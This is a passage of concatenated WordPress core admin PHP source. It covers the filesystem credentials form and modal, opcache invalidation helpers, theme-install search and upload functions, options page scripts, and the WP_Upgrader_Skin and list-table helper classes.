		&& ( ! empty( $credentials['hostname'] ) && ! empty( $credentials['username'] ) && ! empty( $credentials['password'] )
			|| 'ssh' === $credentials['connection_type'] && ! empty( $credentials['public_key'] ) && ! empty( $credentials['private_key'] )
		)
	) {
		$stored_credentials = $credentials;

		if ( ! empty( $stored_credentials['port'] ) ) { // Save port as part of hostname to simplify above code.
			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
		}

		unset(
			$stored_credentials['password'],
			$stored_credentials['port'],
			$stored_credentials['private_key'],
			$stored_credentials['public_key']
		);

		if ( ! wp_installing() ) {
			update_option( 'ftp_credentials', $stored_credentials );
		}

		return $credentials;
	}

	$hostname        = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
	$username        = isset( $credentials['username'] ) ? $credentials['username'] : '';
	$public_key      = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
	$private_key     = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
	$port            = isset( $credentials['port'] ) ? $credentials['port'] : '';
	$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';

	if ( $error ) {
		$error_string = __( '<strong>Error:</strong> Could not connect to the server. Please verify the settings are correct.' );
		if ( is_wp_error( $error ) ) {
			$error_string = esc_html( $error->get_error_message() );
		}
		wp_admin_notice(
			$error_string,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
			)
		);
	}

	$types = array();
	if ( extension_loaded( 'ftp' ) || extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) {
		$types['ftp'] = __( 'FTP' );
	}
	if ( extension_loaded( 'ftp' ) ) { // Only this supports FTPS.
		$types['ftps'] = __( 'FTPS (SSL)' );
	}
	if ( extension_loaded( 'ssh2' ) ) {
		$types['ssh'] = __( 'SSH2' );
	}

	/**
	 * Filters the connection types to output to the filesystem credentials form.
	 *
	 * @since 2.9.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param string[]      $types       Types of connections.
	 * @param array         $credentials Credentials to connect with.
	 * @param string        $type        Chosen filesystem method.
	 * @param bool|WP_Error $error       Whether the current request has failed to connect,
	 *                                   or an error object.
	 * @param string        $context     Full path to the directory that is tested for being writable.
	 */
	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );
	?>
<form action="<?php echo esc_url( $form_post ); ?>" method="post">
<div id="request-filesystem-credentials-form" class="request-filesystem-credentials-form">
	<?php
	// Print a H1 heading in the FTP credentials modal dialog, default is a H2.
	$heading_tag = 'h2';
	if ( 'plugins.php' === $pagenow || 'plugin-install.php' === $pagenow ) {
		$heading_tag = 'h1';
	}
	echo "<$heading_tag id='request-filesystem-credentials-title'>" . __( 'Connection Information' ) . "</$heading_tag>";
	?>
<p id="request-filesystem-credentials-desc">
	<?php
	$label_user = __( 'Username' );
	$label_pass = __( 'Password' );
	_e( 'To perform the requested action, WordPress needs to access your web server.' );
	echo ' ';
	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
		if ( isset( $types['ssh'] ) ) {
			_e( 'Please enter your FTP or SSH credentials to proceed.' );
			$label_user = __( 'FTP/SSH Username' );
			$label_pass = __( 'FTP/SSH Password' );
		} else {
			_e( 'Please enter your FTP credentials to proceed.' );
			$label_user = __( 'FTP Username' );
			$label_pass = __( 'FTP Password' );
		}
		echo ' ';
	}
	_e( 'If you do not remember your credentials, you should contact your web host.' );

	$hostname_value = esc_attr( $hostname );
	if ( ! empty( $port ) ) {
		$hostname_value .= ":$port";
	}

	$password_value = '';
	if ( defined( 'FTP_PASS' ) ) {
		$password_value = '*****';
	}
	?>
</p>
<label for="hostname">
	<span class="field-title"><?php _e( 'Hostname' ); ?></span>
	<input name="hostname" type="text" id="hostname" aria-describedby="request-filesystem-credentials-desc" class="code" placeholder="<?php esc_attr_e( 'example: www.wordpress.org' ); ?>" value="<?php echo $hostname_value; ?>"<?php disabled( defined( 'FTP_HOST' ) ); ?> />
</label>
<div class="ftp-username">
	<label for="username">
		<span class="field-title"><?php echo $label_user; ?></span>
		<input name="username" type="text" id="username" value="<?php echo esc_attr( $username ); ?>"<?php disabled( defined( 'FTP_USER' ) ); ?> />
	</label>
</div>
<div class="ftp-password">
	<label for="password">
		<span class="field-title"><?php echo $label_pass; ?></span>
		<input name="password" type="password" id="password" value="<?php echo $password_value; ?>"<?php disabled( defined( 'FTP_PASS' ) ); ?> spellcheck="false" />
		<?php
		if ( ! defined( 'FTP_PASS' ) ) {
			_e( 'This password will not be stored on the server.' );
		}
		?>
	</label>
</div>
<fieldset>
<legend><?php _e( 'Connection Type' ); ?></legend>
	<?php
	$disabled = disabled( ( defined( 'FTP_SSL' ) && FTP_SSL ) || ( defined( 'FTP_SSH' ) && FTP_SSH ), true, false );
	foreach ( $types as $name => $text ) :
		?>
	<label for="<?php echo esc_attr( $name ); ?>">
		<input type="radio" name="connection_type" id="<?php echo esc_attr( $name ); ?>" value="<?php echo esc_attr( $name ); ?>" <?php checked( $name, $connection_type ); ?> <?php echo $disabled; ?> />
		<?php echo $text; ?>
	</label>
		<?php
	endforeach;
	?>
</fieldset>
	<?php
	if ( isset( $types['ssh'] ) ) {
		$hidden_class = '';
		if ( 'ssh' !== $connection_type || empty( $connection_type ) ) {
			$hidden_class = ' class="hidden"';
		}
		?>
<fieldset id="ssh-keys"<?php echo $hidden_class; ?>>
<legend><?php _e( 'Authentication Keys' ); ?></legend>
<label for="public_key">
	<span class="field-title"><?php _e( 'Public Key:' ); ?></span>
	<input name="public_key" type="text" id="public_key" aria-describedby="auth-keys-desc" value="<?php echo esc_attr( $public_key ); ?>"<?php disabled( defined( 'FTP_PUBKEY' ) ); ?> />
</label>
<label for="private_key">
	<span class="field-title"><?php _e( 'Private Key:' ); ?></span>
	<input name="private_key" type="text" id="private_key" value="<?php echo esc_attr( $private_key ); ?>"<?php disabled( defined( 'FTP_PRIKEY' ) ); ?> />
</label>
<p id="auth-keys-desc"><?php _e( 'Enter the location on the server where the public and private keys are located. If a passphrase is needed, enter that in the password field above.' ); ?></p>
</fieldset>
		<?php
	}

	foreach ( (array) $extra_fields as $field ) {
		if ( isset( $submitted_form[ $field ] ) ) {
			echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />';
		}
	}

	/*
	 * Make sure the `submit_button()` function is available during the REST API call
	 * from WP_Site_Health_Auto_Updates::test_check_wp_filesystem_method().
	 */
	if ( ! function_exists( 'submit_button' ) ) {
		require_once ABSPATH . 'wp-admin/includes/template.php';
	}
	?>
	<p class="request-filesystem-credentials-action-buttons">
		<?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?>
		<button class="button cancel-button" data-js-action="close" type="button"><?php _e( 'Cancel' ); ?></button>
		<?php submit_button( __( 'Proceed' ), '', 'upgrade', false ); ?>
	</p>
</div>
</form>
	<?php
	return false;
}

/**
 * Prints the filesystem credentials modal when needed.
 *
 * @since 4.2.0
 */
function wp_print_request_filesystem_credentials_modal() {
	$filesystem_method = get_filesystem_method();

	ob_start();
	$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
	ob_end_clean();

	$request_filesystem_credentials = ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored );
	if ( ! $request_filesystem_credentials ) {
		return;
	}
	?>
	<div id="request-filesystem-credentials-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog">
		<div class="notification-dialog-background"></div>
		<div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0">
			<div class="request-filesystem-credentials-dialog-content">
				<?php request_filesystem_credentials( site_url() ); ?>
			</div>
		</div>
	</div>
	<?php
}

/**
 * Attempts to clear the opcode cache for an individual PHP file.
 *
 * This function can be called safely without having to check the file extension
 * or availability of the OPcache extension.
 *
 * Whether or not invalidation is possible is cached to improve performance.
 *
 * @since 5.5.0
 *
 * @link https://www.php.net/manual/en/function.opcache-invalidate.php
 *
 * @param string $filepath Path to the file, including extension, for which the opcode cache is to be cleared.
 * @param bool   $force    Invalidate even if the modification time is not newer than the file in cache.
 *                         Default false.
 * @return bool True if opcache was invalidated for `$filepath`, or there was nothing to invalidate.
 *              False if opcache invalidation is not available, or is disabled via filter.
 */
function wp_opcache_invalidate( $filepath, $force = false ) {
	static $can_invalidate = null;

	/*
	 * Check to see if WordPress is able to run `opcache_invalidate()` or not, and cache the value.
	 *
	 * First, check to see if the function is available to call, then if the host has restricted
	 * the ability to run the function to avoid a PHP warning.
	 *
	 * `opcache.restrict_api` can specify the path for files allowed to call `opcache_invalidate()`.
	 *
	 * If the host has this set, check whether the path in `opcache.restrict_api` matches
	 * the beginning of the path of the origin file.
	 *
	 * `$_SERVER['SCRIPT_FILENAME']` approximates the origin file's path, but `realpath()`
	 * is necessary because `SCRIPT_FILENAME` can be a relative path when run from CLI.
	 *
	 * For more details, see:
	 * - https://www.php.net/manual/en/opcache.configuration.php
	 * - https://www.php.net/manual/en/reserved.variables.server.php
	 * - https://core.trac.wordpress.org/ticket/36455
	 */
	if ( null === $can_invalidate
		&& function_exists( 'opcache_invalidate' )
		&& ( ! ini_get( 'opcache.restrict_api' )
			|| stripos( realpath( $_SERVER['SCRIPT_FILENAME'] ), ini_get( 'opcache.restrict_api' ) ) === 0 )
	) {
		$can_invalidate = true;
	}

	// If invalidation is not available, return early.
	if ( ! $can_invalidate ) {
		return false;
	}

	// Verify that file to be invalidated has a PHP extension.
	if ( '.php' !== strtolower( substr( $filepath, -4 ) ) ) {
		return false;
	}

	/**
	 * Filters whether to invalidate a file from the opcode cache.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $will_invalidate Whether WordPress will invalidate `$filepath`. Default true.
	 * @param string $filepath        The path to the PHP file to invalidate.
	 */
	if ( apply_filters( 'wp_opcache_invalidate_file', true, $filepath ) ) {
		return opcache_invalidate( $filepath, $force );
	}

	return false;
}

/**
 * Attempts to clear the opcode cache for a directory of files.
 *
 * @since 6.2.0
 *
 * @see wp_opcache_invalidate()
 * @link https://www.php.net/manual/en/function.opcache-invalidate.php
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $dir The path to the directory for which the opcode cache is to be cleared.
 */
function wp_opcache_invalidate_directory( $dir ) {
	global $wp_filesystem;

	if ( ! is_string( $dir ) || '' === trim( $dir ) ) {
		if ( WP_DEBUG ) {
			$error_message = sprintf(
				/* translators: %s: The function name. */
				__( '%s expects a non-empty string.' ),
				'<code>wp_opcache_invalidate_directory()</code>'
			);
			trigger_error( $error_message );
		}
		return;
	}

	$dirlist = $wp_filesystem->dirlist( $dir, false, true );

	if ( empty( $dirlist ) ) {
		return;
	}

	/*
	 * Recursively invalidate opcache of files in a directory.
	 *
	 * WP_Filesystem_*::dirlist() returns an array of file and directory information.
	 *
	 * This does not include a path to the file or directory.
	 * To invalidate files within sub-directories, recursion is needed
	 * to prepend an absolute path containing the sub-directory's name.
	 *
	 * @param array  $dirlist Array of file/directory information from WP_Filesystem_Base::dirlist(),
	 *                        with sub-directories represented as nested arrays.
	 * @param string $path    Absolute path to the directory.
	 */
	$invalidate_directory = static function ( $dirlist, $path ) use ( &$invalidate_directory ) {
		$path = trailingslashit( $path );

		foreach ( $dirlist as $name => $details ) {
			if ( 'f' === $details['type'] ) {
				wp_opcache_invalidate( $path . $name, true );
			} elseif ( is_array( $details['files'] ) && ! empty( $details['files'] ) ) {
				$invalidate_directory( $details['files'], $path . $name );
			}
		}
	};

	$invalidate_directory( $dirlist, $dir );
}
<?php
/**
 * WordPress Theme Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

$themes_allowedtags = array(
	'a'       => array(
		'href'   => array(),
		'title'  => array(),
		'target' => array(),
	),
	'abbr'    => array( 'title' => array() ),
	'acronym' => array( 'title' => array() ),
	'code'    => array(),
	'pre'     => array(),
	'em'      => array(),
	'strong'  => array(),
	'div'     => array(),
	'p'       => array(),
	'ul'      => array(),
	'ol'      => array(),
	'li'      => array(),
	'h1'      => array(),
	'h2'      => array(),
	'h3'      => array(),
	'h4'      => array(),
	'h5'      => array(),
	'h6'      => array(),
	'img'     => array(
		'src'   => array(),
		'class' => array(),
		'alt'   => array(),
	),
);

$theme_field_defaults = array(
	'description'  => true,
	'sections'     => false,
	'tested'       => true,
	'requires'     => true,
	'rating'       => true,
	'downloaded'   => true,
	'downloadlink' => true,
	'last_updated' => true,
	'homepage'     => true,
	'tags'         => true,
	'num_ratings'  => true,
);

/**
 * Retrieves the list of WordPress theme features (aka theme tags).
 *
 * @since 2.8.0
 *
 * @deprecated 3.1.0 Use get_theme_feature_list() instead.
 *
 * @return array
 */
function install_themes_feature_list() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_theme_feature_list()' );

	$cache = get_transient( 'wporg_theme_feature_list' );
	if ( ! $cache ) {
		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

	if ( $cache ) {
		return $cache;
	}

	$feature_list = themes_api( 'feature_list', array() );
	if ( is_wp_error( $feature_list ) ) {
		return array();
	}

	set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

	return $feature_list;
}

/**
 * Displays search form for searching themes.
 *
 * @since 2.8.0
 *
 * @param bool $type_selector
 */
function install_theme_search_form( $type_selector = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
	if ( ! $type_selector ) {
		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
	}
	?>
<form id="search-themes" method="get">
	<input type="hidden" name="tab" value="search" />
	<?php if ( $type_selector ) : ?>
	<label class="screen-reader-text" for="typeselector">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Type of search' );
		?>
	</label>
	<select	name="type" id="typeselector">
	<option value="term" <?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
	<option value="author" <?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
	<option value="tag" <?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Theme Installer' ); ?></option>
	</select>
	<label class="screen-reader-text" for="s">
		<?php
		switch ( $type ) {
			case 'term':
				/* translators: Hidden accessibility text. */
				_e( 'Search by keyword' );
				break;
			case 'author':
				/* translators: Hidden accessibility text. */
				_e( 'Search by author' );
				break;
			case 'tag':
				/* translators: Hidden accessibility text. */
				_e( 'Search by tag' );
				break;
		}
		?>
	</label>
	<?php else : ?>
	<label class="screen-reader-text" for="s">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Search by keyword' );
		?>
	</label>
	<?php endif; ?>
	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr( $term ); ?>" autofocus="autofocus" />
	<?php submit_button( __( 'Search' ), '', 'search', false ); ?>
</form>
	<?php
}

/**
 * Displays tags filter for themes.
 *
 * @since 2.8.0
 */
function install_themes_dashboard() {
	install_theme_search_form( false );
	?>
<h4><?php _e( 'Feature Filter' ); ?></h4>
<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>

<form method="get">
	<input type="hidden" name="tab" value="search" />
	<?php
	$feature_list = get_theme_feature_list();
	echo '<div class="feature-filter">';

	foreach ( (array) $feature_list as $feature_name => $features ) {
		$feature_name = esc_html( $feature_name );
		echo '<div class="feature-name">' . $feature_name . '</div>';

		echo '<ol class="feature-group">';
		foreach ( $features as $feature => $feature_name ) {
			$feature_name = esc_html( $feature_name );
			$feature      = esc_attr( $feature );
			?>

<li>
	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
</li>

<?php	} ?>
</ol>
<br class="clear" />
		<?php
	}
	?>

</div>
<br class="clear" />
	<?php submit_button( __( 'Find Themes' ), '', 'search' ); ?>
</form>
	<?php
}

/**
 * Displays a form to upload themes from zip files.
 *
 * @since 2.8.0
 */
function install_themes_upload() {
	?>
<p class="install-help"><?php _e( 'If you have a theme in a .zip format, you may install or update it by uploading it here.' ); ?></p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo esc_url( self_admin_url( 'update.php?action=upload-theme' ) ); ?>">
	<?php wp_nonce_field( 'theme-upload' ); ?>
	<label class="screen-reader-text" for="themezip">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Theme zip file' );
		?>
	</label>
	<input type="file" id="themezip" name="themezip" accept=".zip" />
	<?php submit_button( _x( 'Install Now', 'theme' ), '', 'install-theme-submit', false ); ?>
</form>
	<?php
}

/**
 * Prints a theme on the Install Themes pages.
 *
 * @deprecated 3.4.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 *
 * @param object $theme
 */
function display_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4.0' );
	global $wp_list_table;
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->single_row( $theme );
}

/**
 * Displays theme content based on theme list.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function display_themes() {
	global $wp_list_table;

	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->display();
}

/**
 * Displays theme information in dialog box form.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function install_theme_information() {
	global $wp_list_table;

	$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );

	if ( is_wp_error( $theme ) ) {
		wp_die( $theme );
	}

	iframe_header( __( 'Theme Installation' ) );
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->theme_installer_single( $theme );
	iframe_footer();
	exit;
}
<?php
/**
 * WordPress Options Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Output JavaScript to toggle display of additional settings if avatars are disabled.
 *
 * @since 4.2.0
 */
function options_discussion_add_js() {
	?>
	<script>
	(function($){
		var parent = $( '#show_avatars' ),
			children = $( '.avatar-settings' );
		parent.on( 'change', function(){
			children.toggleClass( 'hide-if-js', ! this.checked );
		});
	})(jQuery);
	</script>
	<?php
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function options_general_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var $siteName = $( '#wp-admin-bar-site-name' ).children( 'a' ).first(),
			$siteIconPreview = $('#site-icon-preview-site-title'),
			homeURL = ( <?php echo wp_json_encode( get_home_url() ); ?> || '' ).replace( /^(https?:\/\/)?(www\.)?/, '' );

		$( '#blogname' ).on( 'input', function() {
			var title = $.trim( $( this ).val() ) || homeURL;

			// Truncate to 40 characters.
			if ( 40 < title.length ) {
				title = title.substring( 0, 40 ) + '\u2026';
			}

			$siteName.text( title );
			$siteIconPreview.text( title );
		});

		$( 'input[name="date_format"]' ).on( 'click', function() {
			if ( 'date_format_custom_radio' !== $(this).attr( 'id' ) )
				$( 'input[name="date_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
		});

		$( 'input[name="date_format_custom"]' ).on( 'click input', function() {
			$( '#date_format_custom_radio' ).prop( 'checked', true );
		});

		$( 'input[name="time_format"]' ).on( 'click', function() {
			if ( 'time_format_custom_radio' !== $(this).attr( 'id' ) )
				$( 'input[name="time_format_custom"]' ).val( $( this ).val() ).closest( 'fieldset' ).find( '.example' ).text( $( this ).parent( 'label' ).children( '.format-i18n' ).text() );
		});

		$( 'input[name="time_format_custom"]' ).on( 'click input', function() {
			$( '#time_format_custom_radio' ).prop( 'checked', true );
		});

		$( 'input[name="date_format_custom"], input[name="time_format_custom"]' ).on( 'input', function() {
			var format = $( this ),
				fieldset = format.closest( 'fieldset' ),
				example = fieldset.find( '.example' ),
				spinner = fieldset.find( '.spinner' );

			// Debounce the event callback while users are typing.
			clearTimeout( $.data( this, 'timer' ) );
			$( this ).data( 'timer', setTimeout( function() {
				// If custom date is not empty.
				if ( format.val() ) {
					spinner.addClass( 'is-active' );

					$.post( ajaxurl, {
						action: 'date_format_custom' === format.attr( 'name' ) ? 'date_format' : 'time_format',
						date 	: format.val()
					}, function( d ) { spinner.removeClass( 'is-active' ); example.text( d ); } );
				}
			}, 500 ) );
		} );

		var languageSelect = $( '#WPLANG' );
		$( 'form' ).on( 'submit', function() {
			/*
			 * Don't show a spinner for English and installed languages,
			 * as there is nothing to download.
			 */
			if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
				$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
			}
		});
	} );
</script>
	<?php
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 */
function options_reading_add_js() {
	?>
<script type="text/javascript">
	jQuery( function($) {
		var section = $('#front-static-pages'),
			staticPage = section.find('input:radio[value="page"]'),
			selects = section.find('select'),
			check_disabled = function(){
				selects.prop( 'disabled', ! staticPage.prop('checked') );
			};
		check_disabled();
		section.find( 'input:radio' ).on( 'change', check_disabled );
	} );
</script>
	<?php
}

/**
 * Render the site charset setting.
 *
 * @since 3.5.0
 */
function options_reading_blog_charset() {
	echo '<input name="blog_charset" type="text" id="blog_charset" value="' . esc_attr( get_option( 'blog_charset' ) ) . '" class="regular-text" />';
	echo '<p class="description">' . __( 'The <a href="https://wordpress.org/documentation/article/wordpress-glossary/#character-set">character encoding</a> of your site (UTF-8 is recommended)' ) . '</p>';
}
<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 4.7.0
 */

/**
 * Helper class to be used only by back compat functions.
 *
 * @since 3.1.0
 */
class _WP_List_Table_Compat extends WP_List_Table {
	public $_screen;
	public $_columns;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param string|WP_Screen $screen  The screen hook name or screen object.
	 * @param string[]         $columns An array of columns with column IDs as the keys
	 *                                  and translated column names as the values.
	 */
	public function __construct( $screen, $columns = array() ) {
		if ( is_string( $screen ) ) {
			$screen = convert_to_screen( $screen );
		}

		$this->_screen = $screen;

		if ( ! empty( $columns ) ) {
			$this->_columns = $columns;
			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
		}
	}

	/**
	 * Gets a list of all, hidden, and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		$columns  = get_column_headers( $this->_screen );
		$hidden   = get_hidden_columns( $this->_screen );
		$sortable = array();
		$primary  = $this->get_default_primary_column_name();

		return array( $columns, $hidden, $sortable, $primary );
	}

	/**
	 * Gets a list of columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	public function get_columns() {
		return $this->_columns;
	}
}
<?php
/**
 * Upgrader API: WP_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 */
#[AllowDynamicProperties]
class WP_Upgrader_Skin {

	/**
	 * Holds the upgrader data.
	 *
	 * @since 2.8.0
	 *
	 * @var WP_Upgrader
	 */
	public $upgrader;

	/**
	 * Whether header is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_header = false;

	/**
	 * Whether footer is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_footer = false;

	/**
	 * Holds the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var string|bool|WP_Error
	 */
	public $result = false;

	/**
	 * Holds the options of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var array
	 */
	public $options = array();

	/**
	 * Constructor.
	 *
	 * Sets up the generic skin for the WordPress Upgrader classes.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The WordPress upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults      = array(
			'url'     => '',
			'nonce'   => '',
			'title'   => '',
			'context' => false,
		);
		$this->options = wp_parse_args( $args, $defaults );
	}

	/**
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader $upgrader
	 */
	public function set_upgrader( &$upgrader ) {
		if ( is_object( $upgrader ) ) {
			$this->upgrader =& $upgrader;
		}
		$this->add_strings();
	}

	/**
	 * @since 3.0.0
	 */
	public function add_strings() {
	}

	/**
	 * Sets the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @param string|bool|WP_Error $result The result of an upgrade.
	 */
	public function set_result( $result ) {
		$this->result = $result;
	}

	/**
	 * Displays a form to the user to request for their FTP/SSH details in order
	 * to connect to the filesystem.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		$url = $this->options['url'];
		if ( ! $context ) {
			$context = $this->options['context'];
		}
		if ( ! empty( $this->options['nonce'] ) ) {
			$url = wp_nonce_url( $url, $this->options['nonce'] );
		}

		$extra_fields = array();

		return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
	}

	/**
	 * @since 2.8.0
	 */
	public function header() {
		if ( $this->done_header ) {
			return;
		}
		$this->done_header = true;
		echo '<div class="wrap">';
		echo '<h1>' . $this->options['title'] . '</h1>';
	}

	/**
	 * @since 2.8.0
	 */
	public function footer() {
		if ( $this->done_footer ) {
			return;
		}
		$this->done_footer = true;
		echo '</div>';
	}

	/**
	 * @since 2.8.0
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( ! $this->done_header ) {
			$this->header();
		}
		if ( is_string( $errors ) ) {
			$this->feedback( $errors );
		} elseif ( is_wp_error( $errors ) && $errors->has_errors() ) {
			foreach ( $errors->get_error_messages() as $message ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$this->feedback( $message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
				} else {
					$this->feedback( $message );
				}
			}
		}
	}

	/**
	 * @since 2.8.0
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		show_message( $feedback );
	}

	/**
	 * Performs an action before an update.
	 *
	 * @since 2.8.0
	 */
	public function before() {}

	/**
	 * Performs and action following an update.
	 *
	 * @since 2.8.0
	 */
	public function after() {}

	/**
	 * Outputs JavaScript that calls function to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}

		if ( defined( 'IFRAME_REQUEST' ) ) {
			echo '<script type="text/javascript">
					if ( window.postMessage && JSON ) {
						window.parent.postMessage(
							JSON.stringify( {
								action: "decrementUpdateCount",
								upgradeType: "' . $type . '"
							} ),
							window.location.protocol + "//" + window.location.hostname
								+ ( "" !== window.location.port ? ":" + window.location.port : "" )
						);
					}
				</script>';
		} else {
			echo '<script type="text/javascript">
					(function( wp ) {
						if ( wp && wp.updates && wp.updates.decrementCount ) {
							wp.updates.decrementCount( "' . $type . '" );
						}
					})( window.wp );
				</script>';
		}
	}

	/**
	 * @since 3.0.0
	 */
	public function bulk_header() {}

	/**
	 * @since 3.0.0
	 */
	public function bulk_footer() {}

	/**
	 * Hides the `process_failed` error message when updating by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		return false;
	}
}
<?php
/**
 * List Table API: WP_MS_Sites_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying sites in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Sites_List_Table extends WP_List_Table {

	/**
	 * Site status list.
	 *
	 * @since 4.3.0
	 * @var array
	 */
	public $status_list;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		$this->status_list = array(
			'archived' => array( 'site-archived', __( 'Archived' ) ),
